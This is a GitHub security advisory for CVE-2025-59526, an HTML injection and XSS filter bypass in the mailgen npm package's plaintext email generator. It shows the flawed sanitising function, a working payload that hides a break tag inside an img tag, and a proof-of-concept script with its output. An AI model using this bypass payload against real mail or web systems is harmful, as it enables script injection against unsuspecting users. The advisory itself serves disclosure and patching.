Skip to content

Mailgen: HTML injection vulnerability in plaintext e-mails

Moderate severity GitHub Reviewed Published Sep 22, 2025 in eladnava/mailgen • Updated Sep 23, 2025

Package

npm mailgen (npm)

Affected versions

< 2.0.30

Patched versions

2.0.30

Description

HTML Injection and XSS Filter Bypass in Plaintext Emails

Summary

An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the Mailgen.generatePlaintext(email); method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).

Vulnerability Analysis

The following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.

// Plaintext text e-mail generator
Mailgen.prototype.generatePlaintext = function (params) {
    // Plaintext theme not cached?
    if (!this.cachedPlaintextTheme) {
        throw new Error('An error was encountered while loading the plaintext theme.');
    }
   
    // Parse email params and get back an object with data to inject
    var ejsParams = this.parseParams(params);

    // Render the plaintext theme with ejs, injecting the data accordingly
    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);

    // Definition of the <br /> tag as a regex pattern
    var breakTag = /(?:\<br\s*\/?\>)/g;
    var breakTagPattern = new RegExp(breakTag);

    // Check the plaintext for html break tag, maintains backwards compatiblity
    if (breakTagPattern.test(this.cachedPlaintextTheme)) {
        // Strip all linebreaks from the rendered plaintext
        output = output.replace(/(?:\r\n|\r|\n)/g, '');

        // Replace html break tags with linebreaks
        output = output.replace(breakTag, '\n');

        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)
        output = output.replace(/^(?: |\t)*/gm, "");
    }

    // Strip all HTML tags from plaintext output
    output = output.replace(/<.+?>/g, '');

    // Decode HTML entities such as &copy;
    output = he.decode(output);

    // All done!
    return output;
};

The process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email.

A valid payload is: <img<br> src=xyz onerror=alert(1)>.

Proof of Concept

var Mailgen = require('mailgen');

var mailGenerator = new Mailgen({
    theme: 'default',
    product: {
        name: 'Mailgen',
        link: 'https://mailgen.js/'
    }
});

var email = {
    body: {
        name: 'John <img<br> src=xyz onerror=alert(document.body.innerHTML)> Appleseed',
        intro: 'Welcome to Mailgen! We\'re very excited to have you on board.',
        action: {
            instructions: 'To get started with Mailgen, please click here:',
            button: {
                color: '#22BC66',
                text: 'Confirm your account',
                link: 'secret-link'
            }
        },
        outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.'
    }
};

// Generate the plaintext version of the e-mail
var emailText = mailGenerator.generatePlaintext(email);

// Optionally, preview the generated plaintext e-mail
require('fs').writeFileSync('emailText.txt', emailText, 'utf8');

Resulting output file (emailText.txt):

Hi John <img
src=xyz onerror=alert(document.body.innerHTML)> Appleseed,

Welcome to Mailgen! We're very excited to have you on board.        

To get started with Mailgen, please click here:        
secret-link            

Need help, or have questions? Just reply to this email, we'd love to help.        

Yours truly,  
Mailgen

© 2025 Mailgen. All rights reserved.

Mitigation

The vulnerability has been patched in commit 741a019 and released to npm in version 2.0.30.

Thanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.

References

@eladnava eladnava published to eladnava/mailgen Sep 22, 2025
Published to the GitHub Advisory Database Sep 22, 2025
Reviewed Sep 22, 2025
Published by the National Vulnerability Database Sep 22, 2025
Last updated Sep 23, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(14th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2025-59526

GHSA ID

GHSA-j2xj-h7w5-r7vp

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.